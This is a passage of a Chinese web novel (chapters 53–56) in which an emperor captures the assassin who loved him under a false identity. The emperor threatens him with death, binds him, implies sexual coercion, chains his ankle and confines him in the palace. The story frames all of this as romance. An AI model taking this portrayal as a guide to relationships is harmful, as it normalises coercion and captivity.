“你要延尉狱值房的卷宗,何必亲自去拿。” “一路小心。” …… “书上写的我们都做了,用膳,同宿,拆招……我,我们算是眷侣吗?” ——“你和他,不是。只有我和你,才是眷侣。” “谢舟,我喜欢你。” ——“嗯,我知道。” 过往一句句话不断浮现,凌乱,错杂,像是鞭子一般狠狠地抽着赢秀的心脏。 少年低着头,颤抖不已。 漂亮狠戾的年轻暴君俯下身,伸出手,攥着他的下颌,逼他看着自己的脸,语气平静诡谲: “你有两个选择,” 第53章 第 53 章 他亲过这双眼睛 赢秀半跪在地上, 跪在一地鲜血里。 他被迫仰着头,攥着他下颌的手指冰冷,修长, 骨节明晰, 湛若冰玉, 带着刺骨的寒。 他浑身僵硬, 一动不动,有些怀疑眼前人的出现是临死前的幻觉——怎会有如何荒谬的幻觉? 少年刺客缓慢地眨了一下眼, 眼睫轻轻一颤, 鸦睫上的斑驳鲜血滴进瞳孔。 满殿琉璃灯辉映,四面八方覆盖而下的漼漼华光亮得晃眼, 一片刺目猩红。 隔着朦胧血雾,赢秀勉强看清冕旒后的眸瞳,眼形昳丽,眸色漆黑, 幽寂,清冷。 ……他亲过这双眼睛。 彼时眼睛的主人闭目, 任由他隔着一层薄薄的眼皮,轻轻地亲吻他的眸瞳。 恍惚中,门客和熙温润的声音在耳边响起:“不必偷偷摸摸的,我会闭上眼睛。” 记忆里的声音与此刻头顶传来的声音渐渐重叠, 同样是温凉, 濯冰漱雪般的清冷声线,一字一句地穿透耳膜。 与门客生得一模一样,就连声音也一般无二的皇帝,正扼住他的下颌,居高临下地俯视他, 要他做出选择: “一,继续爱这张脸。” “二,死。” 殿外,几道血肉模糊的人影正在受刑,皮肉剥落,切齿惨叫,遥遥传到赢秀耳中。 他忍不住轻轻战栗,瑟缩着,眸光向下,眼帘低垂,不敢直视眼前人。 掐在下颌的冰冷指尖似乎失了耐性,力道更重,强制地扼住他的颌骨,一阵轻微的疼痛。 那人粗粝的指腹重重地抹过,几乎要陷入柔软肌肤里,轻柔擦去他脸颊上的鲜血,慢悠悠地提醒他: “你还有半炷香的时间考虑。” 继续爱他。 或者死。 少年刺客手里攥着一条细细的发带,被血染了,依稀还能看出是金色的。 他慢慢攥紧发带,仿佛这就是他此刻唯一的支撑。 赢秀哑着声,头一次发觉,说话原来是一件如此困难的事。 “……你是谢舟?” 朦胧的视野中,年轻,昳丽的皇帝似乎笑了一下,指腹向上,拂去少年湿漉长睫上的鲜血。 两弯纤细黑睫在他手底下轻颤,细细的,虚掩着一双清润眸瞳。 总是带着笑意,微弯的明亮眼眸浸着血,染上薄薄的赤色。 皇帝凝视着那双狼狈的眼睛,眼眸略深。 对方冰冷的指尖似乎即将就要触碰他的眼球,将触未触。 赢秀下意识闭上眼,睫毛仓促扫过那人的手心。 皇帝没有回答他之前问的话,蹲下身,半跪着,与赢秀对视,一字一句地问他:“你选好了吗?” 距离骤然贴近,咫尺之间,赢秀四肢僵硬,心脏仿佛被什么沉重的锐器轻轻敲击了一下。 他猛的偏过头,赌气似地说:“那你杀了我吧。” 谢舟骗了他,还要威胁他,既然如此,还不如给他一个痛快。 掐着他面颊的指尖顿住了,慢慢摩挲着他细白的皮肉,冰冷肃杀,无言的审视。 仿佛在犹豫要从何处下刀。 赢秀执拗地偏着头,宁愿被烛火晃得眼睛发疼,也不看眼前人。 下一刻,有什么东西被人从他手心抽了出来,细细的,柔软的,坠着一点粘稠的血迹,滑过指缝。 ——是那条金色发带。 赢秀骤然转过头,想要夺回来,却被钳制住双手,想要挣扎,眼前霍然一黑,纤长布料覆盖下来,他本能地闭上眼睛。 一片红通通的黑暗中,血腥味扑面而来。 是那条发带,谢舟用那条发带绑住了他的眼睛! 赢秀指尖颤动,五指握着剑柄,还未来得及动作。 咔嚓一声,腕骨一阵剧痛,月骨被强制卸下。 痛。 赢秀脑海里只剩下这个词。 他勉强挣脱桎梏,伸出另一只手去够剑柄,摸了个空,身后之人没有动静,仿佛正在静静地看着他艰难地摸索。 在他即将摸到剑柄时,脚踝陡然一凉,大掌捉住他的足,硬生生将他拖了回来。 “赢秀,” 赢秀目不能视,黑暗中传来的声音平静中诡谲,隐隐可窥见深深的压抑。 他有些怕了,不知是怕黑,还是怕谁,挣扎着想要逃开。 皇帝轻而易举地擒住落败的刺客,语气中蕴含无奈,淡漠中透着难言的残忍: “——我替你选。” 黑暗,无边的黑暗,失去了视觉,嗅觉和痛觉便格外灵敏。 腕骨一阵一阵地疼,那只脱了臼的手,和完好的手被一圈一圈缠绕,勒紧,陷进皮肉,缚着跳动的脉搏。 浑身的重量都寄托在绳索上,赢秀伸长脚尖,怎么也挨不到地面。 他疼得直掉眼泪,眼泪把蒙眼的发带濡湿了,溢出的泪水沿着发带往下淌。 他知道了,谢舟把他吊起来,就是为了方便把他杀掉。 赢秀满心委屈,眼泪滴滴答答地落下,他在心里骂谢舟,骂谢舟是大骗子,明明不是门客,明知他认错,却也不否认。 就连谢舟这个名字,也是假的,假的,都是假的! 早知道他是皇帝,他才不会招惹他。 赢秀心里后悔,手上疼,眼睛也发疼,身上也疼,心里也疼。 他哭了一会儿,骤然想起嘴巴还没有被堵住,小声地大骂起来:“你是骗子你是坏蛋,你出门被狗追,上街栽进坑里。” 他想到自己要死了,还是死在“谢舟”手上,心里更加委屈,“等我死了我要变成鬼,骑在你脖子上,让你抬不起头。” “你现在就可以。” 暴君声音温凉,幽幽响起,不知在暗处看了他多久。 赢秀骤然僵住,没来由地有点心虚,杀一个刺客,还需要皇帝亲自行刑么? 他想起从前听过的传闻,当今陛下心狠手辣,爱好发明酷刑,少年时领军北伐,屠了羌族数座城池,暴君之名响彻天下。 酷刑,暴君…… 赢秀放弃挣扎,任由脚尖自然垂下。 有什么薄而锋锐的东西贴上他的衣裳,寒意穿透布料,裂帛声随之响起。 扑面而来的冰冷空气,冷得赢秀起了一身的鸡皮疙瘩。 殿外。 横跨秦岭,自中原吹来的朔风卷着雪粒子,猎猎吹来,吹得太极殿月台上的鲜血干涸,凝固,结成斑驳的红。 雪越下越大,埋没了一地的鲜红,无声无息。 …… 听觉慢慢回笼,痛觉紧跟其后,少年睁开眼,脸色苍白,两颊泛着微妙的红色,色若春晓。 他看不见自己的脸,任由黑发凌乱地垂落,铺在腰间,乱蓬蓬的,在层叠软云间流淌,呆呆地坐在床上。 谢舟没有杀他,他…… 他对他做了什么? 赢秀想不明白,他生平从未遇见这种事,苦思冥想了一番,怎么也想不明白。 他从不纠结自己想不明白的事,这次也不例外。 少年刺客呆坐了一会儿,觉得坐着有点疼,于是又躺倒下去。 他安静地躺着,想了想,有点凉,伸手拉过皱巴巴的被衾,明黄色的被衾柔软冰凉,上面绣着看不懂的复杂图案,精致华美,触手生温。 ……这是? 赢秀转动脑袋,左右看了看,一个不可置信的念头浮上心头,这是龙床? 一个刺客睡在龙床上,这合理吗? 不太合理,不过睡都睡了,赢秀翻了个身,换了个姿势,脑袋埋在被子里,俯卧着,继续躺。 他被折腾得累了,浑身疲乏,脑袋一片空白,什么也不想,只是静静地躺着。 至于皇帝为什么不杀他…… 谢舟心底善良,可能连带着皇帝也变好了。 “赢秀,” 一道充满压迫感的雪白身影屹立在床前,不知何时来的,也不知站了多久,隔着昏暗纱幰,鬼魅般地俯视着他。 是谢舟,准确来说,是换上谢舟外皮的皇帝。 皇帝一身皎洁白衣,一挑素色白绸束发,仙姿佚貌,清淡威仪,恍若一尊冰堆玉砌的琉璃神仙像。 很美,触目惊心的美貌。 赢秀爬起来,看了他一眼,目光有些恍惚,下意识脱口而出:“我爱你。” 说完之后,他才反应过来自己说了什么,脸色微微一变。 昨夜,暴君一遍遍地逼问他,问他爱不爱他,他只能一遍遍地说爱,一旦说不爱,就会被咬…… 少年面色泛红,蜷缩在乱糟糟的被浪中,像是受惊的小动物,说完那句话,仿佛连他自己都些不可置信。 皇帝立在原地,没有再进一步,宛如一尊冰冷的石像,一动不动。 过了片刻,他低下头,捂住心口,摇摇欲坠。 赢秀抬头朝他看来,眸瞳微微睁大了些,脸上出现了一丝紧张,怀里抱住被衾,一脸警惕地问他:“谢……你,你怎么了?” ……难不成是犯病了? 昨夜京师下了一场大雪,铺天盖地的,又不知上峰做了什么对皇帝不利之事,可能是下毒,或者放暗器…… 赢秀越来越紧张,不知不觉松开了怀里的被衾,小心翼翼地靠近皇帝。 就在他即将走出拔步床时,脚下骤然响起一阵叮呤当啷的响声,仿佛有什么东西无形绷直,迅速收紧,一股拉力勒住他的脚踝。 赢秀低下头,看见自己纤细脚踝上系着一根长长的金链,金光闪闪,很是漂亮。 第54章 第 54 章 你痛什么 赢秀低头认真地看了一眼自己脚踝上的金链, 俯下身用力掰了一下,错愕地发现,链子竟然有些变形。 是金子做的。 谢舟……皇帝好有钱。 他长这么大, 还是头一回见到这么多金子, 还打成链子戴在脚上, 这不是暴殄天物吗? 少年散着乌发, 肌骨如玉,被沉甸甸的金链拴住脚踝, 再也不能往前, 他钻研了一会儿,打开无果, 好似放弃了挣扎,转身朝龙床走去。 金链曳地,滑过上好的紫檀木,发出叮叮当当的声音。 在寂阒的大殿中迢递回响, 无端的刺耳。 赢秀在床上躺下,不再看床帐外的皇帝。 他是皇帝, 万万人之上,掌枢一国权柄,纵使他有个什么三长两短,也轮不到他操心。 帐外高峻巍然的身影没有再开口, 捂着心口, 沉默着,屹立在不远处。 两人的距离明明近在咫尺,只要他想,他就可以将赢秀从层层垂帷中剥出来,逼着他看着自己。 但他没有这么做。 太极殿内只有无限蔓延的死寂, 温暖的地龙时刻不停地燃烧,碳火在地道下发出哔剥的细响。 赢秀在龙床上怎么也睡不着,一闭上眼睛,回忆就纷至沓来。 山光水色,明灯灼灼,他和谢舟看过的每一幕,说过的每一句话,都浮现在眼前。 每一幕都无比清晰,每一个字都震耳发聩。 那张昳丽,清冷,在月光下淡极生艳的眉眼,犹如墨描,工以丹墨,形神兼具,每一笔都浓墨重彩,深深地刻在他的脑海里。 忘不掉,甩不脱。 赢秀深呼了一口气,睁开眼,朝外看去,皇帝还站在那里,一动未动,白衣墨发 ,倒真像一座琉璃冰雪雕像。 他恶向胆边生,竟然恶狠狠地对他说道:“你过来,” 少年窝在被窝里,骨骼匀亭,线条秀致,像是软云里卧着一柄秀剑。 被剥了剑鞘,卸了剑锋,却依旧不改神采。 皇帝垂眸望着他,目光深深,他此刻倒是听话,走向赢秀,坐在床边,没有再进一步。 距离被拉进,对方冷艳的眉眼变得更加明晰,唇上好像有血,漆黑的发,冷白的肌肤,艳色的唇,清冷之外,又多了一重少见的诡丽惊鸿。 赢秀仿佛受到什么蛊惑,不由自主地凝视着他,耳边金链叮当响动,他清醒过来,发觉自己已经主动靠近了皇帝。 来都来了,断然没有退缩的道理。 少年刺客一鼓作气,直视着皇帝,开口质问他:“你为什么要骗我?” 一开始为什么不告诉他,他认错了他的身份,为什么不跟他说,他其实是……一国之君。 但凡“谢舟”稍微露出一点马脚,或者少掩饰一些,他都能察觉端倪,识相地知难而退。 面对少年的质问,皇帝神色平静,看不出愧疚心虚,仿佛对此并不在意,语气也轻: “我骗了你,还是你骗了自己。” 本应是微微上扬,表达疑惑的尾音,对方却说得平静无波,静静地陈述着。 这半年来,有诸多端倪,种种蹊跷,赢秀都找出了看似合理的解释,甚至不需要他费心掩饰。 他本来无意隐瞒,瞒或不瞒,都是一样的。 他喜欢赢秀,赢秀就得在他身边,他不喜欢赢秀了,赢秀的处置权还是握在他手上。 赢秀愣住了,门客的身份确实蹊跷,他并非没有察觉,只是看在那张脸的份上,选择视而不见。 久而久之,就连他自己都深信不疑,仿佛门客就是门客,观音眉眼,菩萨心肠。 “……你把我关在这里,究竟想如何?”少年问得直接,眸底没有对于天威的畏惧,他浑身懒怠,只想蜷缩在被窝里,没有力气害怕对方了。 左右不是砍头,便是酷刑,有什么可怕。 皇帝没有回答他,侧眸看了外边一眼,宫侍无声地捧着托盘走了进来,托盘上躺着一柄月光。 剑身如洗,明净锋锐,赫然是赢秀的问心剑。 见到自己的配剑,赢秀骤然坐起身,金链随之哗哗作响。 一起身,和皇帝的距离便更近了,只隔着几重纱幰,一伸手就能触碰到彼此。 皇帝伸手拿起问心剑,骨节如玉,修长明晰,长剑被攥在他手中,手腕一转,剑身向上竖。 ……这是要做什么? 赢秀又一次愣住了,这是要用他的配剑,取他的性命么? 他紧张地闭上眼,不敢再看。 等了片刻,始终没有等到穿心的剑,赢秀抖着细睫,睁开眸瞳,眸光向上看。 一身白衣的皇帝竖剑而立,锋利剑身贴着他的眉眼,从压着眼眸的眉骨到下颌,可想而知,一旦往下划,会划出一道多么深的伤口。 ……他疯了?! 哪有人这样对自己的! 赢秀气不打一处来,也不顾自己的手腕还在脱臼,半跪着,直起身,任凭被衾滑落,伸手去夺皇帝手中的剑。 嘴里骂道:“你疯了吗?不嫌疼呀?你不怕痛我还嫌痛呢!” 皇帝长睫低覆,黑沉沉的眸光落在他身上,低声问他:“你痛什么?” 赢秀来不及思索,扑到他身上,抬手就要抢剑,金链止不住地响,响得越来越烈。 脚踝一轻,仿佛挣脱了一重桎梏,赢秀已经扑到皇帝腰际,一手攥住他的缁色蔽膝,一手高高伸长,去夺剑柄。 “哐当——” 剑身轻飘飘地落在地衣上。 赢秀只觉颈项一寒,一只大掌由上至下,轻轻攥住他的颈,修长手指张开,温柔托着他的下颌,手的主人低垂眉眼,居高临下地俯视着他。 “受伤的是寡人,”皇帝声音低沉,冷玉的声线中蕴含着难以言喻的危险:“你痛什么?” 赢秀神色恼怒,睁着清澈眸瞳,瞪了他一眼,赌气似地说道:“是,伤的是你,我又不痛,你用剑戳死自己好了。” 劈头盖脸骂了皇帝一顿,赢秀后知后觉地察觉到什么,低头一看,脚踝上环着一圈红印,那条金链已经不见了。 锁得松垮,似乎存心让他挣脱。 “你……”赢秀不知道该拿他怎么办好,贴得如此之近,甚至能看清对方根根分明的长睫,墨一般的黑,掩着昳丽的长眸。 他想了想,决定以其人之道还治其人之身,昨夜“谢舟”咬了他一夜,他非得咬回来不可。 方寸之间,一人垂眸,一人仰头,本是互相对峙,谁也不肯让步。 仰着头的少年骤然踮起脚尖,抱着青年的窄腰,报复性地吻了上去。 他如愿衔住薄薄的,冰冷的唇,露出尖尖的细齿,莽撞地咬下去,一股血腥味倏忽在口齿间逸散,是对方的血。 谢舟流血了。 赢秀莫名有些慌乱,明明他根本没有咬破谢舟的唇,再联想到醒来时,看见对方唇上有血,捂着心口一动不动,他心底猛然生出一股说不清道不明的感觉。 也顾不得什么报复不报复的,急匆匆地想要退出,好看看谢舟的脸色。 对方却强硬地捧着他的下颌,俯下身,撬开他的牙关,一步步侵占。 赢秀忍不住往后倒去,退无可退,陡然倒在龙床上,身后一重重床帷还未勾起,静静垂落,绷紧了,承着少年清癯雪白的腰身。 “谢……”赢秀刚吐出一个字,又被进一步地压迫,深入。 他舌尖发麻,就连含糊的音节也说不出了。 他伸出手,双脚并用地推着皇帝,企图将他推开,脱臼的手腕派不上半点用场,反而一阵阵抽痛,疼得他眼圈微红。 少年半个身子躺在龙床上,肌肤白得像是斑驳一片的雪,脸颊潮红,眼泪汪汪,嘴巴也肿了,看起来很是可怜。 他艰难地喘息,大口大口地呼吸,吸气,呼吸,仿佛一尾溺水的白鱼,一动不动 ,只有胸腔在剧烈起伏。 缓了顷刻。 赢秀总算能呼吸了,小声地嘀咕了一句什么,眼底满是恼怒。 皇帝斯条慢理地整理雪白衣襟,忽而俯下身,去听他说了什么。 他仔细听了片刻,总算听清了,赢秀在说:“谢舟我讨厌你!” 他不是谢舟,赢秀讨厌的人不是他。 皇帝如此想道。 在对方俯下身那一刻,赢秀霍然僵住,也不再嘀嘀咕咕了。 他微微睁大了瞳孔,一觉醒来,昨夜还在隐隐发疼的眼睛已经好多了,不知是谁给他上了药,视野清明,看什么都清晰。 以致于他可以清楚地看见,头顶,白衣青年正在低头看他,视线碰撞,这张令他神魂颠倒的脸清晰地撞入眼底。 皇帝绸缎似的黑发披落,铺开无边墨色,肌肤显得愈加白,质如冷霜,冰姿雪貌,清清冷冷的。 赢秀看得出神,好不容易回过神来,低头思索了一下,不再理会皇帝,转身爬向里侧,拿起角落里的金链,自顾自地往自己脚踝上套。 层叠次落的帷幕后,少年低头认真地套了一会儿,总算将金链穿了进去,鎏金精致的金环束着伶仃的脚踝,有些松垮,一挣就能挣脱开来。 他研究了一下,发现没法套得更牢,也不再理会,转头朝皇帝扬起手中的金链,眉眼弯弯。 第55章 第 55 章 他必须每天等待 皇帝垂眸凝视着赢秀, 黑沉沉的眸光闪动,轻轻掠过他手上的金链,落在少年眉眼间。 清澈, 明亮, 令人想到三尺剑锋上, 那一寸明光。 他俯下身, 朝赢秀伸手,赢秀愣了一下, 犹豫着, 将自己那只完好无损的手递了过去,那只脱臼的手则悄悄藏在身后。 皇帝什么也没说, 伸手拉出赢秀藏在身后的手。 少年手腕修长,秀如削玉,腕骨脱了臼,肿了一圈, 上面还布着细细的勒痕,深深陷进细白皮肉里。 一片青紫, 看上去好不凄惨。 赢秀有些想要缩回手,手腕还疼着,被人攥在手里,疼感便更加明显。 “咔嚓。” 一声轻响。 赢秀还没反应过来, 脱臼的月骨便被推了回去。 对方的动作太快, 太过熟练,他甚至还没来得及痛,错位的骨头便已经归位。 饶是如此,紧随其后的疼痛还是让赢秀忍不住皱眉。 殿外,宫侍轻手轻脚地走进来, 小心翼翼地呈上药膏。 赢秀正想伸手去接,皇帝按住他的手腕,不让他动弹,转身亲自接过药膏。 宫侍眼观鼻鼻观心,自觉地退了下去,低眉垂首,如同一道看不清眉目的鬼魅身影,一眨眼便消失得无影无踪。 偌大的太极殿,一时只剩下赢秀和帝王二人。 少年想要从帝王手中取过药膏,后者却抬起手,不让他碰。 当着他的面,亲自取了一点,化在掌心,攥住赢秀的手腕,轻轻揉动。 帝王指腹有些粗粝,上面覆着细细的茧,纵使沾了温软的疗伤药膏,指尖依旧冰冷,带着森寒温度。 一寸寸摩挲过高高肿起的手腕,冰冷慢慢渗入高热的肌理。 赢秀被冰得有些无措,想要挣脱,却使不上力气,只能任凭皇帝为他上药。 这药膏果然神奇,渐渐融化在皮肤上,手腕一点也不疼了。 少年刺客新奇地甩了甩手腕,疼得忍不住呲牙咧嘴,再一抬眸,年轻的帝王正冷冷地俯视着他。 赢秀心虚地放下了手,后知后觉,自己昨夜受了不少伤,今日醒来却不觉得疼痛,应当是有人给他上了药。 ……是谁? 答案显而易见。 是皇帝,当今陛下,以残忍暴虐闻名于世的昭肃帝。 ……也是他的谢舟。 赢秀骤然想到一件要紧的事,仰头问谢舟:“其他刺客呢?” 谢舟轻轻看了他一眼,语气很轻:“杀了。” 闻言,盘腿坐在龙床上的少年刺客骤然安静下来,浓郁的鸦发遮住雪白的肌骨,流出难得一见的脆弱秀美。 “你觉得我不该杀他们么?”谢舟低声问他。 参与太极殿刺杀的人,除了赢秀,全部都凌迟处死了,一片一片,血肉模糊,看不清本貌,一清早便悬于菜市,以儆效尤。 至于刺杀主谋,深藏在幕后的琅琊王氏…… 谢舟眸光微转,流露出被刻意收敛的冰冷嗜杀,稍纵即逝。 刺杀帝王,乃是夷九族的大罪,赢秀岂能不知。 他如今能好好地活着,全靠…… 赢秀有些茫然,直接问谢舟:“你为什么不杀我?” 不是含恨的质问,也不是有恃无恐的挑衅,单纯是疑惑,少年不明白皇帝为什么不杀他。 谢舟笑了一下,那张漂亮的脸上,一闪而逝的短暂笑容让赢秀看花了眼。 直到笑容消失,他还是没有回过神来。 下一刻,年轻残忍的帝王伸出指尖,轻轻拨开赢秀凌乱的发丝,露出那双清澈,明亮的眼眸。 帝王俯身,轻声在刺客耳边道:“因为我是你的谢舟。” 谢舟,怎么会杀赢秀。 凉薄冰冷的气息拂过赢秀的耳廓,裹挟着来自上位者的恐怖气息,几乎是毫不收敛地扑面而来。 对于危险的直觉,让赢秀本能地颤栗,身体条件反射地痉挛,弧度很轻,像是湿了翎羽的鹤在簌簌发抖。 他没有察觉自己身体的异样,甚至没有发现自己在颤抖,反而松了一口气,露出一个笑,一本正经地抱怨: “不管怎么说,你都骗了我,你不和我道歉,我是不会原谅你的。” 谢舟敏锐地捕捉到了其中的关键,“道歉,你就会原谅我么?” ——无论对你做了什么,只要道歉,你就会原谅我,是吗? “当然不是了!”赢秀被他的逻辑气得面颊微微发红,习惯性地指挥他:“你把我的鸟放进来,我得报一声平安。” 他的鸟,那只圆滚滚的鸱鸮,因为长得很圆,所以名字叫做鸟。 从前住在客舍时,鸟就养在静室的廊下,谢舟时常会替他照料,久而久之,赢秀也就习惯了吩咐谢舟。 谢舟似是思索了一下,“鸟不知道去哪了,我派人给你找。” 他答得滴水不漏,偏偏赢秀就是怀疑他,“是么?”他裹着被衾爬下床,赤着脚踩在地衣上,“我要自己找。” 赤脚走出去几步,长长的被衾拖在太极殿的地衣上,赢秀试图抱住全部的被衾,尝试了一番,最终选择放弃。 回头望向立在原地的谢舟,“我的衣裳呢?” 没有衣裳,这可怎么出门? 怎么也得给他找一件亵衣吧? 谢舟生得一副观音貌,语气淡漠平静:“坏了。” “坏了?”赢秀重复了一遍,想了想,认真地提出疑问:“这宫里没有衣服吗?” 这么大个皇宫,总不会连件衣裳也没有吧? 谢舟还是一副毫无变化的平静语气,“有。” 赢秀顿住了,有衣裳,为什么不给他呢? 在他看来,谢舟还不至于穷到连件多余的衣裳也没有,再不济,给他一件宫人内侍的衣裳也行。 “你随便给我找件衣裳吧,”赢秀决定先礼后兵,选择低声下气。 “求我。” 谢舟平静道。 纵使是说这种羞耻的话,他昳丽清冷的眉眼依旧毫无变化,神色端肃整峻,形状优美的眼帘朝下,望着赢秀,倒有些悲天悯人的意味。 浑身裹着龙纹织锦被衾,裹得像个金黄花卷般的少年刺客犹豫了一会儿,求就求,他怕什么。 他一鼓作气,凶巴巴地抱着被衾挪了回去,中途还不忘蹲下身捡起掉在地上的被角。 金黄花卷磨磨蹭蹭地走到了谢舟面前,一把扑进了他怀里,孰料竟然撞到了对方冷硬的胸膛,疼得赢秀的额头发疼。 赢秀:“(QnQ)” 谢舟沉默了一刹那,伸手将花卷揽入怀里,隔着薄薄的被衾,两人骨骼紧贴着。 静静抱了一会儿,谢舟单手将赢秀打横抱起,另一只手则捧着少年身上垂落的被角,小心地将他放在龙床上。 一层层放下床帷,确认帐中之人不会被看到。 帝王对外吩咐:“来人,把鸟拿进来。” 内侍谨慎地捧着鸟笼走了进来,鸟笼底部筑着毫无缝隙的挡板,堆着小山似的鸟粮,鸱鸮正躺在小山上睡大觉。 看到赢秀,鸱鸮也没什么反应,俨然已经为食叛主。 赢秀打开笼子,放鸟出来,鸟看了他一眼,继续躺下。 赢秀:“……” 一夜不见,怎么变得这么骄奢淫逸? 仿佛看穿他心底的想法,谢舟淡声道:“你睡了三日两夜。” 他以为刺客身体很好,现在想想,也该补补。 赢秀被谢舟满怀关爱的眼神看得起了一身的鸡皮疙瘩,相处久了,明明谢舟的神色没有丝毫变化,一如既往的淡漠,他也隐约能窥见他真实的情绪。 他没有理会谢舟,双手捧出鸟,要来纸笔,写好信条,打算让鸱鸮送出去。 头顶骤然传来一道阴晴不定的声音:“长公子?”谢舟冷冷问道:“你要向他报平安?” “是,”赢秀倒是痛快承认,“他是我至交好友,怎么也得和他说一声,告诉他,我还活着。” 少年说得过分坦率,反倒让谢舟不知如何是好。 他没有阻拦,静静地看着赢秀发信。 “赢秀,” 赢秀刚刚在太极殿的步步锦支摘窗前放飞了鸟,回过头,看见谢舟立在身后,视线碰撞,他心里无端慌乱。 从醒来到现在,那些被他刻意忽略的事情再次浮现出来—— 比如,作为刺杀主谋的琅琊王氏,究竟是何下场? 王守真全然没有参与到这场刺杀中,命令他们刺杀皇帝的,乃是琅琊王氏的主公,南朝的尚书令。 士族高门,往往一荣俱荣,一损俱损。 黄琉璃瓦重檐剔透,筛得窗光明净,映照着赢秀变得有些苍白的脸色。 纵使他把有意帝王当成门客谢舟,帝王也有意陪他胡闹。 到底,残暴冷漠,高高在上的帝王不会是他的谢舟。 良久。 谢舟朝他走了过来,只字不提赢秀从前的欺瞒,也不提究竟会如何处置琅琊王氏,只是轻声道: “你什么也不用想,只要待在这里就好。” 待在太极殿,想要什么,他都会命人给他找来。 旁的事情,一件也不用想。 赢秀此后余生,再也不必为任何事烦恼忧愁。 唯一要做的事,便是在这大殿中等待他的到来,然后陪着他。 他不能保证每一天都会来,但是赢秀必须每天等待。 第56章 第 56 章 翻案(一) 赢秀一愣, 谢舟方才说的话回响在耳边—— “你什么也不用想,只要待在这里就好。” 他凝神思索了一下这句话的含义,骤然明白过来, 谢舟是说, 以后他的事全部由他包揽, 他可以高枕无忧了。 放在谢舟眼中, 金裳少年一直立在窗前,低着头苦思冥想, 仿佛对他的安排很不满意。 也是, 失去自由,被禁锢在这大殿中, 谁会高兴? 不过,那又如何,赢秀没有选择的权利。 下一刻—— 赢秀安静地朝谢舟走来,隔着雪白的袍裾, 猛的抱住他的手臂,像是偷摸着抱住了一个宝物, 兴高采烈: “谢舟!你真好!” 天知道什么也不想,只要吃喝玩乐的生活有多好! 谢舟对他真的太好啦! 少年骤然靠近,肌肤相贴,温热的触感从手臂传来。 年轻的帝王有一瞬间的怔忡, 长睫低覆, 深深地看了一眼赢秀乌黑的发旋。 片刻后,垂下的指尖缓缓抬起,落在怀中少年的脊背上,以一个强势的守护姿态,轻轻环抱住他。 黏黏糊糊地抱了一会儿, 赢秀总算想起正事,放开谢舟的手,退后一步,仰头看向他,一脸严肃,似乎要问一些格外紧要的事。 谢舟低眉,洗耳恭听。 “对了,什么时候用膳?”赢秀十分认真地问。 谢舟:“……” 他垂眸凝视少年亮晶晶的眼眸,轻声道:“随时都可以。” 一方龙书案,上首摆着御茶床,罗列珍馐。 流水似的宫侍无声地布菜,呈上最后一道菜后,垂首低眉,次第离开。 烛光照在他们颢色杂裾上,脚步出奇的一致,疾行缓步,行在崔巍宫殿中,如同一列庄严肃穆的泥俑。 不知为何,赢秀骤然想起谢舟之前说的话。 他说,建康有一条秦淮河,一直流到城外,流到阡陌田间,孩童喜欢在田埂上玩耍,迎着明晃晃的天光,在太阳底下跑来跑去。 一字一句,仿佛就在昨日。 这森罗宫殿里哪有活水天光,阡陌田垄? 赢秀轻轻眨眼,四面嵬巍烛光幽幽地晃动,有些晃眼。 他低头吃了两口,感觉没什么胃口,忍不住低声问谢舟:“你小时候就是在这里长大的?” 这是一个很笨的问题,谢舟作为皇嗣,自然该在巍峨宫廷中长大。 谢舟放下银箸,脸上没有什么表情,平静,淡漠地评价:“这里很好。” 对他而言,这是个很好的地方。 毕竟,野兽天然适合残酷的角斗场。 而赢秀,是他掠夺来的珍宝。 ……他会好好守护的。 赢秀对谢舟的话深信不疑,虽然他不太喜欢这里,总感觉太过沉闷,头顶恢宏华丽的穹顶,压得他有些喘不过气。 不过,谢舟既然说这里很好,应当是很好吧。 用完膳后,谢舟去上晚朝,临行前告诉赢秀,除了不能离开,他做什么都可以。 赢秀一个人在殿内走了一圈,走到太极殿的槅门附近,还未踏出一步,不知从何而来的宫侍如同鬼魅般出现,弓腰垂首,哀求道:“郎君,求您别踏出这座宫殿。” 他脸上带笑,笑眼里没什么情绪,由于他低着头,赢秀看不见他的脸色,听到他充满哀求的语气,一下便收回了脚。 金裳少年立在门后,太极殿的门槛不算高,堪堪没过他的脚踝,轻轻一跨就能越过去。 不足方寸的高度,他却始终没有越过去。 赢秀无聊地盯着外面的景色看,彼时暮色四合,云敛天末,幽远寂静。 太极殿前是一处广阔的月台,月台附近立着上百个值守的禁军,往下看,是层层丹犀,玉阶绵长,一直延伸到天边。 天边隐约可见飞檐宝瓦起伏的轮廓,不同的高低错落,一样的巍峨可怖。 那么多殿宇,感觉可以潜伏很多个刺客。 赢秀默默在心底计算了一下,假如一处角檐可以蹲一只刺客,那么…… 在守在殿外的内监总管眼中,陛下圈禁的禁脔正在望着天穹出神,仿佛在渴望自由。 内监总管不由多看了一眼,想到陛下残酷暴虐的手段,以及善妒的性情,连忙移开目光。 唉,可怜的少年。 赢秀站得脚麻,转身走了回去。 内监总管在心底叹息,这少年大约是知道,自己这一生都没有自由的希望了,只能被迫接受,落寞转身。 落寞的赢秀回到太极殿,决定好好改造一下自己的被窝,既然要长久住下,一定要变成他喜欢的样子才行。 皇帝下晚朝回来时,在廊外随口问起赢秀今日如何,内监总管小心翼翼道:“陛下,公子一直盯着门外看,看上去好不可怜。” 好不容易陛下看上了一个人,虽说是个男子,好歹是个人,还是个活的,长得还漂亮,神秀灵动。 纵然他阅人无数,也没见过如此神秀的少年。 陛下一直把人圈禁着,这算怎么回事? 皇帝轻轻睨了他一眼,内监立即低下头,不敢再说话。 “……一直盯着门外看,好不可怜。” 直到走进太极殿,皇帝脑海中还在回忆这句话,他抬起眸,刚要在大殿内寻找赢秀的身影。 一抬眼,却看见变得天翻地覆的寝宫,屏风被移开,露出窗光,月光洒落,一地清晖。 少年弯着腰,一手一件,蚂蚁搬家似地抱着谢舟的衮服。 两相对视,赢秀颇有尴尬,解释道:“那个,你说我想做什么都可以,我想……” ——想把谢舟的衣裳放到床上,抱着睡觉。 赢秀有些局促,这是可以说的吗? 谢舟循着他的视线看去,隔着纱幰,看见龙床上用雪白衮服堆叠起的小山,小山中间凹陷下去,应当是给人睡的。 帝王沉默了一下,“你想做什么都可以。” “我想看书,”赢秀眼巴巴地说道:“我想看历年的卷宗。” 少年说话从不拐弯抹角,但这次他没有主动提起,而是在他说出这句话后,再顺着他的话提出请求。 这是怕他不答应? 谢舟城府何其深沉,他一眼便看穿了赢秀的心思:“想给瘐明翻案?” 帝王语气很轻,与往常无异,赢秀听不出什么,诚实地点头:“嗯!” 真诚,明亮,不加掩饰,甚至没想过这句话可能会引起什么后果。 